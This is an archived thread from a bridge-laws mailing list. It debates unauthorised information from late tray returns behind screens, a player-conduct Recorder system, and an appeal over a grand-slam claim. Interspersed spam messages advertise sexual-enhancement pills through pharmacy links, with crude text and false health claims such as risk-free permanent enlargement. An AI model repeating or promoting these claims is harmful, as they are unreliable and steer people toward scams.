ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 21 Jan 2004 10:53:58 -0500 Subject: [blml] A straightforward ruling In-Reply-To: Message-ID: <06277E55-4C2A-11D8-A2A0-0030656F6826@rochester.rr.com> On Wednesday, Jan 21, 2004, at 03:04 US/Eastern, Jaap van der Neut wrote: > Of course that is the solution (at least for 95% of the problems). But > not > very original. Is it really necessary to disparage my post? One could equally well describe Marx' development of the convention known widely as "Stayman" as "not very original". Would you insult him in the same way? > Such rules are already enforced in at least Holland and the > EBL. You have the right to delay the tray (to a certain extend) to > avoid too > quick returns. I thought WBF also but I am too lazy to check. That's nice. As I said upthread (perhaps you weren't paying attention) I've never played with screens, and I've certainly never played anywhere in Europe, with the exception of England. So I wonder how you expect me to know that my thought was "not very original". This is conversation, not science. > Anyway screens are great. Playing with screens is so much better than > without, so I don't understand some people saying that since they are > not perfect, they are not, we should do away with them. "Some people" may have said that. I didn't. > But yes, even screens don't prevent all UI . But late tray returns is a > rather minor problem. People sensitive to that normally can, try to, > and > will hear the bidding boxes, so often the exact timing of the bidding > is > known (screens are far from sound proof). The best quality of screens > is > tahat it prevents almost all non vocal comminication like explanations > but > maybe more important facial expressions and all that stuff. If late tray returns are such a minor problem, why are we spending so much time discussing them? From jaapvanderneut@hotmail.com Wed Jan 21 17:07:55 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Wed, 21 Jan 2004 18:07:55 +0100 Subject: [blml] A straightforward ruling References: <06277E55-4C2A-11D8-A2A0-0030656F6826@rochester.rr.com> Message-ID: ED, Sorry I didn't mean to offend you. I'll be more careful next time. 1. > As I said upthread (perhaps you weren't paying attention) > I've never played with screens, I guess I have missed that. Sorry for assuming that people who discuss screens have at least some experience with them. 2. > So I wonder how you > expect me to know that my thought was "not very original". This is > conversation, not science. I don't expect YOU to know or do anything. But you participate in a discussion where one might accidentally assume you know something about context and history. I missed your post about you never playing with screens. I guess you missed the lengthy thread some time ago about the infamous Lille appeal wich was the direct cause for modern tray delay rules. I was very surprised that nobody so far mentioned Lille and modern screen rules, quite some posters bloody well know about that. That was probably the reason I reacted. 3. > "Some people" may have said that. I didn't. I didn't (mean to) imply you said something about doing away with screens. I used 'some people' on purpose because I have seen 'some people' saying so. To me 'some peolple' almost explicitly excludes 'you'. 4. > If late tray returns are such a minor problem, why are we spending so > much time discussing them? I guess because BLML is often more about theory than about reality. But it is an interesting subjest because the rules were written for face-to-face and certain rules make little sense when applied to another reality, in this case screens (but also on-line). Although a minimum or variable delay and such can solve 95% of the cases the remaining 5% (or so) cannot be solved very well by current rules. Current rules assume you know who was thinking. With screens you don't (at least in theory) but in certain cases some explanations are more likely than others. The current rules say nothing about this problem. And the curent discussion has shown that it can hardly been solved in a sensible way. In theory the delay can be caused by spilled coffee, asking questions, whatever. In reality some information can be deducted from tray speed. Of course a tiny fraction compared to face-to-face but it is there. Probably we need a fundamental different way of dealing with this because the face-to-face UI rules include draconic penalties which make little sense in screen and on-line cases. It makes for me an enormous difference if you know partner was thinking (face-to-face) or that partner's thinking might be the cause of a slow tray. For starters it makes a difference if the change of partner thinking is 20% or 80% and after that it becomes more than a little complicated. Jaap ----- Original Message ----- From: "Ed Reppert" To: "blml" Sent: Wednesday, January 21, 2004 4:53 PM Subject: Re: [blml] A straightforward ruling > > On Wednesday, Jan 21, 2004, at 03:04 US/Eastern, Jaap van der Neut > wrote: > > > Of course that is the solution (at least for 95% of the problems). But > > not > > very original. > > Is it really necessary to disparage my post? One could equally well > describe Marx' development of the convention known widely as "Stayman" > as "not very original". Would you insult him in the same way? > > > Such rules are already enforced in at least Holland and the > > EBL. You have the right to delay the tray (to a certain extend) to > > avoid too > > quick returns. I thought WBF also but I am too lazy to check. > > That's nice. As I said upthread (perhaps you weren't paying attention) > I've never played with screens, and I've certainly never played > anywhere in Europe, with the exception of England. So I wonder how you > expect me to know that my thought was "not very original". This is > conversation, not science. > > > Anyway screens are great. Playing with screens is so much better than > > without, so I don't understand some people saying that since they are > > not perfect, they are not, we should do away with them. > > "Some people" may have said that. I didn't. > > > But yes, even screens don't prevent all UI . But late tray returns is a > > rather minor problem. People sensitive to that normally can, try to, > > and > > will hear the bidding boxes, so often the exact timing of the bidding > > is > > known (screens are far from sound proof). The best quality of screens > > is > > tahat it prevents almost all non vocal comminication like explanations > > but > > maybe more important facial expressions and all that stuff. > > If late tray returns are such a minor problem, why are we spending so > much time discussing them? > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From nigel.guthrie@ntlworld.com Wed Jan 21 19:11:17 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 21 Jan 2004 19:11:17 -0000 Subject: [blml] A straightforward ruling References: <000001c3df9f$7fa1f360$6900a8c0@WINXP> Message-ID: <007f01c3e052$5b821e20$139868d5@tinyhrieuyik> > [Sven Pran] > 16B [is relevant tot the tray-delay UI problem]? > (I believe that I am beginning to understand the logic > advocated by Grattan et al.) [TFLB 16B3] When a player accidentally receives unauthorised information about a board he is playing or has yet to play, as by looking at the wrong hand; by overhearing calls, results or remarks; by seeing cards at another table; or by seeing a card belonging to another player at his own table before the auction begins, the Director should be notified forthwith, preferably by the recipient of the information. If the Director considers that the information could interfere with normal play, he may: 3. Award an Adjusted Score forthwith award an artificial adjusted score [Nigel] I suppose this is relevant but difficult to implement as... (1) It is hard to judge what is a significant delay. (2) There will be a lot of director calls. (3) The affected bidder is under no 16A constraint to punish himself by choosing a logical alternative that he would normally reject rather than the call he would have made anyway. (4) There will be a lot of artificial scores. (5) As Ton and Eric Landau point out, the TD must estimate the probability of the delay being attributable to partner, whether the resulting UI influenced the choice of bid, if opponents may be damaged, and if so how whether and how much to adjust. It is all very woolly. Luckily the new edition of TFLB is bound to address this specific issue among many other current omissions. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.564 / Virus Database: 356 - Release Date: 19/01/2004 From svenpran@online.no Wed Jan 21 19:46:31 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 21 Jan 2004 20:46:31 +0100 Subject: [blml] A straightforward ruling In-Reply-To: <007f01c3e052$5b821e20$139868d5@tinyhrieuyik> Message-ID: <000001c3e057$4527d200$6900a8c0@WINXP> > Nigel Guthrie > > [Sven Pran] > > 16B [is relevant tot the tray-delay UI problem]? > > (I believe that I am beginning to understand the logic > > advocated by Grattan et al.) >=20 > [TFLB 16B3] > When a player accidentally receives unauthorised > information about a board he is playing or has yet to > play, as by looking at the wrong hand; by overhearing > calls, results or remarks; by seeing cards at another > table; or by seeing a card belonging to another player > at his own table before the auction begins, the Director > should be notified forthwith, preferably by the recipient > of the information. If the Director considers that the > information could interfere with normal play, he may: > 3. Award an Adjusted Score > forthwith award an artificial adjusted score It is important to be aware that this list of events is not exhaustive, = when read together with the remainder of Law 16 it is evident that any information other than that received from legal calls and or plays and = from mannerisms of opponents is extraneous and as such may be unauthorized. Law 16B concerns such extraneous information except information = specifically received from partner which is catered for in Law 16A. > [Nigel] > I suppose this is relevant but difficult to implement as... > (1) It is hard to judge what is a significant delay. Any delay sufficient to possibly influence the choice among alternatives must be considered significant, i.e. such delays cannot be ignored.=20 > (2) There will be a lot of director calls. And rightly so if suspicion of an infringement of law is suspected. > (3) The affected bidder is under no 16A constraint to > punish himself by choosing a logical alternative that > he would normally reject rather than the call he would > have made anyway. Of course not under the logic now under discussion. The basis for this = is that the player does not know the source, thus it is not considered information received from his partner nor is it "mannerism of = opponents", it is information "received from other sources" which makes Law 16 A not applicable.=20 > (4) There will be a lot of artificial scores. Why is that? It may be some adjusted scores when the Director rules that = use of the information has damaged opponents. > (5) As Ton and Eric Landau point out, the TD must estimate > the probability of the delay being attributable to > partner NO, he must estimate whether extraneous information has been received = and used in a way to damage opponents. The source is principally immaterial. , whether the resulting UI influenced the choice > of bid YES, as always , if opponents may be damaged, and if so how > whether and how much to adjust. Again YES, as always. >=20 > It is all very woolly. Luckily the new edition of TFLB is > bound to address this specific issue among many other > current omissions. You may notice that my opinion has changed, that happened when I = realized that it was a fallacy attempting to fix one particular player on the = other side of the screen as source for the delay, a principle with which I = have never felt comfortable. The answer is to accept that as we do not for certain know the reason = for late tray returns the "information" available from such events can (and should) be considered "information from other sources". Thus Law 16B. Sven From nigel.guthrie@ntlworld.com Thu Jan 22 00:33:12 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 22 Jan 2004 00:33:12 -0000 Subject: [blml] A straightforward ruling References: <000001c3e057$4527d200$6900a8c0@WINXP> Message-ID: <006901c3e080$884d2a20$1b9468d5@tinyhrieuyik> [Sven Pran] You may notice that my opinion has changed, that happened when I realized that it was a fallacy attempting to fix one particular player on the other side of the screen as source for the delay, a principle with which I have never felt comfortable. The answer is to accept that as we do not for certain know the reason for late tray returns the "information" available from such events can (and should) be considered "information from other sources". Thus Law 16B. {Nigel] Suppose that the player that the TD rules against, claims to the AC that he is under no UI constraint because his partner makes a point of bidding in tempo and, in actual fact, it was an opponent who caused the delay by spilling his coffee? IMO, this approach is fundamentally unjust :( But it goes quite well with TFLB "equity" philosophy :) --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.564 / Virus Database: 356 - Release Date: 20/01/2004 From ehaa@starpower.net Thu Jan 22 13:11:08 2004 From: ehaa@starpower.net (Eric Landau) Date: Thu, 22 Jan 2004 08:11:08 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <006901c3e080$884d2a20$1b9468d5@tinyhrieuyik> References: <000001c3e057$4527d200$6900a8c0@WINXP> Message-ID: <5.2.0.9.0.20040122080042.01ff8060@pop.starpower.net> At 07:33 PM 1/21/04, Nigel wrote: >[Sven Pran] >You may notice that my opinion has changed, that >happened when I realized that it was a fallacy >attempting to fix one particular player on the other >side of the screen as source for the delay, a principle >with which I have never felt comfortable. > >The answer is to accept that as we do not for certain >know the reason for late tray returns the "information" >available from such events can (and should) be considered >"information from other sources". Thus Law 16B. > >{Nigel] >Suppose that the player that the TD rules against, >claims to the AC that he is under no UI constraint >because his partner makes a point of bidding in tempo >and, in actual fact, it was an opponent who caused >the delay by spilling his coffee? Then there will be no adjustment if the AC believes him. If he indeed assumed that the delay could not have been caused by partner, who "makes a point of bidding in tempo", then it could not have "interfere[d] with normal play" [L16B]. >IMO, this approach is fundamentally unjust :( >But it goes quite well with TFLB "equity" philosophy :) Sorry, Nigel, but that's the way justice works. Even if you always tell the truth, sometimes the jury will believe someone else's contradictory testimony, and you will lose. That is a universal truth that has nothing to do with bridge law or anyone's "'equity' philosophy". In the hypothetical, however, there is no reason to think that the player's word would not be accepted -- if an opponent really did spill his coffee. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From alshoal@wongfaye.com Thu Jan 22 10:36:51 2004 From: alshoal@wongfaye.com (Orourkm) Date: Thu, 22 Jan 2004 13:36:51 +0300 Subject: [blml] nesws regarding vigros governing Message-ID: frictions, How Vigras works. And you can better understand, what Vigras can do for you. If you are sensible about your health, reflect on what you can do for your seual health, to keep the chances that you will need Vigras as low as possible. dreariness virtuoso airliner, gorge. http://www.drsergio.net/index.php?pid=genviag Inrease Seks Drive Bost Seual Performance Fuller & Harder Erecions Inrease Stamna & Endurance Quicker Rechages coiling normally bleach, squadrons. lures disrupted stoops, Castroism. Happy holidays, molested From richard.hills@immi.gov.au Thu Jan 22 21:15:03 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 23 Jan 2004 07:15:03 +1000 Subject: [blml] Spleen (for venting) Message-ID: >Don't keep us in suspense ... what was the ruling? > >Walt In the interests of procedural fairness, the CTD interviewed all relevant parties. The CTD later informed me that he found that my expert RHO's attitude was "inflexible". The CTD therefore invoked Law 81C9 to refer his findings to the ABF Recorder. The ABF sensibly appoints official Recorders at all of its national championships. A Recorder's duty is to record complaints about possible infractions of The Proprieties. If a particular player's name repeatedly appears in Recorders' files, that player is consequently invited to attend a disciplinary hearing of the ABF Conduct & Ethics Committee. Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From ehaa@starpower.net Thu Jan 22 22:07:17 2004 From: ehaa@starpower.net (Eric Landau) Date: Thu, 22 Jan 2004 17:07:17 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <00bc01c3e101$d18e80e0$b89868d5@tinyhrieuyik> References: <000001c3e057$4527d200$6900a8c0@WINXP> <5.2.0.9.0.20040122080042.01ff8060@pop.starpower.net> Message-ID: <5.2.0.9.0.20040122165152.02024e40@pop.starpower.net> At 11:06 AM 1/22/04, Nigel wrote: >[Eric Landau] > > In the hypothetical, however, there is no reason to > > think that the player's word would not be accepted > > -- if an opponent really did spill his coffee. > >[Nigel] >OK, my mistake, I thought you were arguing that the >ruling should be the same whatever the cause of the >delay. We are in agreement if your ruling would be >different when partner hesitated from when an opponent >spilled coffee. But if the ruling mainly depends on >statements by the bidder or his partner about their >tempo habits, then I am still uneasy. I don't like >rulings that hinge on whether players are prepared to >make self-serving claims. Well, actually I was arguing somewhere in between. My ruling does depend on the bidder's statement about his partner's tempo habits -- we do not rule in his favor because his partner didn't break tempo, we rule in his favor because he says he assumed that it was not his partner who caused the delay, and we believe him based on whatever other evidence we have. The fact that coffee was spilled -- that his partner didn't cause the delay -- would, however, almost surely be sufficient "other evidence" to incline us to believe his (admittedly self-serving) testimony. I believe that self-serving testimony should carry a weight much less than that of non-self-serving testimony, but greater than, as some would have it, zero. If, however, the TD had asked the player why he took the action he did, and the player had said something along the lines of, "It sounded like my partner might have had a problem, and this was the best bid to cater to that," I would rule against him, even if in fact his partner bid in tempo and the delay was due to spilled coffee. (And, FWIW, I stand with David S. in refuting from personal experience those who would call such a statement empty because "it would never happen".) Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From drivegrossness@ilovechocolate.com Thu Jan 22 21:28:13 2004 From: drivegrossness@ilovechocolate.com (Oralla.eanni) Date: Fri, 23 Jan 2004 00:28:13 +0300 Subject: [blml] they used to be the only ones. Message-ID: The first worth substitute of all existing men`s remedies! Be aware that now the peak of your selxual activity is realy accessible! All you need is to visit http://cnmeds.com/mx/index.php?pid=genviag Thanks to the proprietary blend of unique herkbs the four wonderful efkfects are achieved: *blood stream to the penlis is restored *stored tesltosterone is unleashed *activation of the body's naltural holrmone production heightens your sensation *the peknis does enklarge, the changes are being permanent! At last you can enljoy your secxual life in full measure without any risk for your healkth! Don`t wakste your time! Get more inkfo straightforwardly at http://cnmeds.com/mx/index.php?pid=genviag From blml@blakjak.com Fri Jan 23 01:04:49 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 23 Jan 2004 01:04:49 +0000 Subject: [blml] Spleen (for venting) In-Reply-To: References: Message-ID: RJH wrote >>Don't keep us in suspense ... what was the ruling? >In the interests of procedural fairness, the CTD >interviewed all relevant parties. The CTD later >informed me that he found that my expert RHO's >attitude was "inflexible". > >The CTD therefore invoked Law 81C9 to refer his >findings to the ABF Recorder. > >The ABF sensibly appoints official Recorders at all >of its national championships. A Recorder's duty >is to record complaints about possible infractions >of The Proprieties. If a particular player's name >repeatedly appears in Recorders' files, that player >is consequently invited to attend a disciplinary >hearing of the ABF Conduct & Ethics Committee. I am totally convinced that Recorders are a good idea. Unfortunately the English L&EC is not, and would not countenance them when I suggested them. The Welsh L&EC considered them a reasonable idea, but the Welsh executive did not. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From toddz@att.net Fri Jan 23 04:59:16 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Thu, 22 Jan 2004 23:59:16 -0500 Subject: [blml] Spleen (for venting) In-Reply-To: References: Message-ID: <6.0.1.1.1.20040122235607.01acc0a0@postoffice.worldnet.att.net> At 08:04 PM 1/22/2004, David Stevenson wrote: > I am totally convinced that Recorders are a good idea. Unfortunately the English L&EC is not, and would not countenance them when I suggested them. The Welsh L&EC considered them a reasonable idea, but the Welsh executive did not. Do they have specific objections? Seems odd that for offenses that need a long history of evidence to prove guilt that you wouldn't have the means to accumulate the evidence. -Todd From blml@blakjak.com Fri Jan 23 13:32:17 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 23 Jan 2004 13:32:17 +0000 Subject: [blml] Spleen (for venting) In-Reply-To: <6.0.1.1.1.20040122235607.01acc0a0@postoffice.worldnet.att.net> References: <6.0.1.1.1.20040122235607.01acc0a0@postoffice.worldnet.att.net> Message-ID: Todd M. Zimnoch wrote >At 08:04 PM 1/22/2004, David Stevenson wrote: >> I am totally convinced that Recorders are a good idea. Unfortunately >>the English L&EC is not, and would not countenance them when I >>suggested them. The Welsh L&EC considered them a reasonable idea, but >>the Welsh executive did not. > > Do they have specific objections? Seems odd that for offenses >that need a long history of evidence to prove guilt that you wouldn't >have the means to accumulate the evidence. I am afraid that discussion in the EBU L&EC is not in the public domain. As for the WBU Exec they took a vote, lost by three areas to one - I think it was West Wales that supported it - but I was not present so do not know what the arguments were. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From nigel.guthrie@ntlworld.com Fri Jan 23 15:24:36 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 23 Jan 2004 15:24:36 -0000 Subject: [blml] Spleen (for venting) References: <6.0.1.1.1.20040122235607.01acc0a0@postoffice.worldnet.att.net> Message-ID: <007201c3e1c5$09278e20$5a9868d5@tinyhrieuyik> [Todd M. Zimnoch] > Do they have specific objections? Seems odd that for > offenses that need a long history of evidence to prove > guilt that you wouldn't have the means to accumulate the > evidence. {Nigel] A record database is obviously an excellent idea but to be effective would have to be national or, better, inter national. Apart from worries about cost there may be data-protection, privacy, human-rights, and libel legislation to contend with. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.564 / Virus Database: 356 - Release Date: 19/01/2004 From grandeval@vejez.fsnet.co.uk Sat Jan 24 01:02:36 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Sat, 24 Jan 2004 01:02:36 -0000 Subject: [blml] Spleen (for venting) References: <6.0.1.1.1.20040122235607.01acc0a0@postoffice.worldnet.att.net> Message-ID: <002d01c3e216$05fe0fc0$efb3193e@4nrw70j> Grattan Endicott To: Sent: Friday, January 23, 2004 1:32 PM Subject: Re: [blml] Spleen (for venting) > Todd M. Zimnoch wrote > >At 08:04 PM 1/22/2004, David Stevenson > > wrote: > >> I am totally convinced that Recorders are > > a good idea. Unfortunately the English L&EC > > is not, and would not countenance them when > > I suggested them. The Welsh L&EC considered > > them a reasonable idea, but the Welsh > executive did not. > > > Do they have specific objections? Seems > odd that for offenses that need a long history of > evidence to prove guilt that you wouldn't have > the means to accumulate the evidence. > > > I am afraid that discussion in the EBU L&EC < > is not in the public domain. As for the WBU Exec > > they took a vote, lost by three areas to one - I > > think it was West Wales that supported it - but > > I was not present so do not know what the > > arguments were. > +=+ A long time ago there was legal advice that an allegation, if there is one, should be put to the player and he should be allowed to respond to it. To hold it on file and bring it up much later does not give the player a fair chance to recall the facts, and the truth of the facts has not been verified whilst they are still fresh in mind. I question whether, given the development of Human Rights law, accusers are entitled to take into account - or perhaps even be aware of - a secret record. I do not know how the Recorder system operates, but I presume it does not maintain clandestine files on allegations that have not been opened up with the player(s) in question. ~ Grattan ~ +=+ From grandeval@vejez.fsnet.co.uk Sat Jan 24 01:30:36 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Sat, 24 Jan 2004 01:30:36 -0000 Subject: [blml] Spleen (for venting) References: <6.0.1.1.1.20040122235607.01acc0a0@postoffice.worldnet.att.net> <007201c3e1c5$09278e20$5a9868d5@tinyhrieuyik> Message-ID: <000c01c3e219$beb50520$85c6193e@4nrw70j> Grattan Endicott To: Sent: Friday, January 23, 2004 3:24 PM Subject: Re: [blml] Spleen (for venting) > [Todd M. Zimnoch] > > Do they have specific objections? Seems odd that for > > offenses that need a long history of evidence to prove > > guilt that you wouldn't have the means to accumulate the > > evidence. > > {Nigel] > A record database is obviously an excellent idea but to > be effective would have to be national or, better, > inter national. Apart from worries about cost there may > be data-protection, privacy, human-rights, and libel > legislation to contend with. > +=+ I wonder what the Registrar would say of an application to maintain an electronic record for the purpose of accumulating allegations of improper conduct in the game of duplicate bridge? +=+ From walt1@verizon.net Sat Jan 24 04:18:35 2004 From: walt1@verizon.net (Walt) Date: Fri, 23 Jan 2004 23:18:35 -0500 Subject: [blml] Spleen (for venting) In-Reply-To: <002d01c3e216$05fe0fc0$efb3193e@4nrw70j> References: <6.0.1.1.1.20040122235607.01acc0a0@postoffice.worldnet.att.net> <002d01c3e216$05fe0fc0$efb3193e@4nrw70j> Message-ID: <6.0.1.1.0.20040123231524.05d99030@incoming.verizon.net> At 08:02 PM 23/01/2004, grandeval wrote: >Grattan Endicott[alternatively gesta@tiscali.co.uk] >============================== >"And are you sexually active?" >"No, I just lie there." > [US Court transcript] >++++++++++++++++++++++++++++++ >----- Original Message ----- >From: "David Stevenson" >To: >Sent: Friday, January 23, 2004 1:32 PM >Subject: Re: [blml] Spleen (for venting) > > > > Todd M. Zimnoch wrote > > >At 08:04 PM 1/22/2004, David Stevenson > > > wrote: > > >> I am totally convinced that Recorders are > > > a good idea. Unfortunately the English L&EC > > > is not, and would not countenance them when > > > I suggested them. The Welsh L&EC considered > > > them a reasonable idea, but the Welsh > > executive did not. > > > > > Do they have specific objections? Seems > > odd that for offenses that need a long history of > > evidence to prove guilt that you wouldn't have > > the means to accumulate the evidence. > > > > > I am afraid that discussion in the EBU L&EC >< > is not in the public domain. As for the WBU Exec > > > they took a vote, lost by three areas to one - I > > > think it was West Wales that supported it - but > > > I was not present so do not know what the > > > arguments were. > > >+=+ A long time ago there was legal advice that >an allegation, if there is one, should be put to the >player and he should be allowed to respond to it. >To hold it on file and bring it up much later does >not give the player a fair chance to recall the facts, >and the truth of the facts has not been verified whilst >they are still fresh in mind. I question whether, given >the development of Human Rights law, accusers are >entitled to take into account - or perhaps even be >aware of - a secret record. > I do not know how the Recorder system operates, >but I presume it does not maintain clandestine >files on allegations that have not been opened up >with the player(s) in question. > ~ Grattan ~ +=+ My understanding is that in the ACBL a copy of a complaint is sent by the Recorder immediately to the person complained about and his response if any is filed and kept for perusal if more complaints are filed. Walt From bobbyyellow@ilovechocolate.com Sat Jan 24 16:53:58 2004 From: bobbyyellow@ilovechocolate.com (Worthid) Date: Sat, 24 Jan 2004 19:53:58 +0300 Subject: [blml] Oflfer of 21 CENTURY Hendrix! Message-ID: kBe kaware that now the peak of your selxual activity is realy accessible! All you need is to visit http://cnmeds.com/mx/index.php?pid=genviag Thanks to the proprietary blend of unique herkbs the four wonderful efkfects are achieved: *blood stream to the penlis is restored *stored tesltosterone is unleashed *activation of the body's naltural holrmone production heightens your sensation *the peknis does enklarge, the changes are being permanent! At last you can enljoy your secxual life in full measure without any risk for your healkth! Don`t wakste your time! Get more inkfo straightforwardly at http://cnmeds.com/mx/index.php?pid=genviag From kirsty_21Kirchner@hotmail.com Sat Jan 24 12:54:01 2004 From: kirsty_21Kirchner@hotmail.com (Owner-ba-rides) Date: Sat, 24 Jan 2004 10:54:01 -0200 Subject: [blml] (*SPAM*) Re: Ejacu.late Like A P0RN Star! Message-ID: cumpills2
SHOWER YOUR LOVER WITH
BUCKET= LOADS OF SP.ERM!
=A0

It's Amazing & Has Finally Arrived! A Unique Pill That Will Increase Your Spe.rm By Up To 500% More -We Guaranteed It!

Maintain Rock Solid Erect.ions.
Increased Sex.ual Desire & Performance.
- Shoot Out Amazing Amounts Of Spe.rm Everywhere.
- Multiple Extreme Orga.sms! Have 2 Or 3 Each Time.
- 100% Mon.ey Back Guarantee With Every Order.
=A0

EJAC= U.LATE LIKE A P0RN STAR

<= a hrefpokerhref=3Dhttp://Giovanni.com href=3D "http://www.bonkey.biz/kadafi/">READ MORE INFO HERE
=A0
=A0

no more emailz

=20 From cleanactproknocks@wildmail.com Sat Jan 24 14:55:22 2004 From: cleanactproknocks@wildmail.com (Vandykee) Date: Sat, 24 Jan 2004 14:55:22 +0000 Subject: [blml] Don't Want To Be Busted ? ? ? . . . . . . . . catlike Message-ID: cleanactpro

Keep Your Job - Keep Your Marriage - Keep Out Of Trouble

DID YOU KNOW!

That anyone who uses your computer can see what websites you've visited?
And that simply deleting history only removes part of the records.
If someone starts typing a web site, your browser will recall old sites you've visited?
Your boss or wife can start typing "www.dateline.com" and the browser will recall "www.datingclub.com"
Every picture on every site you've ever visited has been copied to your hard drive?
Deleting the cache does not permanently remove them!
And there are many more ways you are secretly tracked...


finicky , reproducer
From richard.hills@immi.gov.au Sat Jan 24 21:33:15 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Sun, 25 Jan 2004 07:33:15 +1000 Subject: [blml] NOT News Message-ID: The daily bulletins (NOT News) of the 2004 Aussie Summer Festival of Bridge are available from this URL: http://www.abf.com.au/events/not/2004/html/docs/contsum.htm Some interesting appeals reports are contained therein. Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Sun Jan 25 20:59:13 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 26 Jan 2004 06:59:13 +1000 Subject: [blml] NOT News Message-ID: During the South West Pacific Teams, I had dinner with a non-claiming side who had a TD's ruling in their favour overturned on appeal. They requested that I submit the details to blml for comment. Best wishes Richard James Hills * * * NOT News, Thursday January 22 2004, page 6: FROM THE APPEALS ROOM SWPT Convention Centre, Round 5 Board 7, South deals, all vul K Q 9 8 A 4 K T 6 A K 7 4 7 5 3 J 6 4 J T 8 5 2 Q 9 3 9 8 4 J 7 2 Q 3 9 8 5 2 A T 2 K 7 6 A Q 5 3 J T 6 West North East South - - - 1D Pass 1S Pass 1NT Pass 4NT Pass 5H Pass 5NT Pass 6D Pass 7NT Pass Pass Pass Table result: Claim after five tricks for 13 tricks, 2220 Datum: +1340 NS Adjustment: 12 tricks, -100 NS The Director, Simon Edler, was called to the table by East after declarer stated "I've got the clubs" as he faced his hand. South maintained that East's objection had stopped him midsentence as he was about to state his line of play, saying he was going to say "I've got the clubs, so I'll cash the spades, throwing H7 if they break, cash HK, D5, throwing C4, then the two best clubs for the remaining eight tricks. EW maintained that South had initially said "the clubs are good", not "I've got the clubs". The Director ruled that declarer loses one trick either because spades were not originally mentioned (Law 70D) or that even though he realizes the third club is not good and therefore requires four spade tricks, there is an option of either playing for the drop or finessing against jack-to-four in an opponent's hand - this latter line is not allowed under Law 70E. The Committee's Ruling: The Committee is unanimous that the claimant was not allowed to complete the clarification of his claim prior to the Director being called. Further that his subsequent statement about the spade suit was admissible as a clarification of the original claim. Further, the Committee believed that if EW had allowed the claimant to make a fuller statement at the time, this may have resulted in a different result. Committee Personnel: Ivy Dahler (Chairman), Ted Chadwick, Peter Fordham, Phil Gue, Terry Brown -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From adam@tameware.com Sun Jan 25 20:37:23 2004 From: adam@tameware.com (Adam Wildavsky) Date: Sun, 25 Jan 2004 15:37:23 -0500 Subject: [blml] NOT News -- Claim In-Reply-To: References: Message-ID: At 6:59 AM +1000 1/26/04, richard.hills@immi.gov.au wrote: >Table result: Claim after five tricks for 13 >tricks, 2220 How did those first five tricks go? I'm guessing that declarer won the heart lead, played three rounds of diamonds ending in hand, and led a club honor, covered by the Q and K. >The Director, Simon Edler, was called to the table by East after >declarer stated "I've got the clubs" as he faced his hand. South >maintained that East's objection had stopped him midsentence as he >was about to state his line of play, saying he was going to say >"I've got the clubs, so I'll cash the spades, throwing H7 if they >break, cash HK, D5, throwing C4, then the two best clubs for the >remaining eight tricks. > >EW maintained that South had initially said "the clubs are good", >not "I've got the clubs". I do not find the declarer's assertion credible. With 12 top tricks and several possibilities for a 13th no one I know would claim. They'd play it out, hoping for a defensive error or a squeeze. Further, in my experience no one would start a speculative claim with the words "I've got the clubs" unless they were confident the clubs would run. On the other hand, most declarers who thought they had four clubs tricks would claim. On the facts as presented I agree with the TD's ruling and I find the AC's ruling baffling. -- Adam Wildavsky Extreme Programmer Tameware, LLC adam@tameware.com 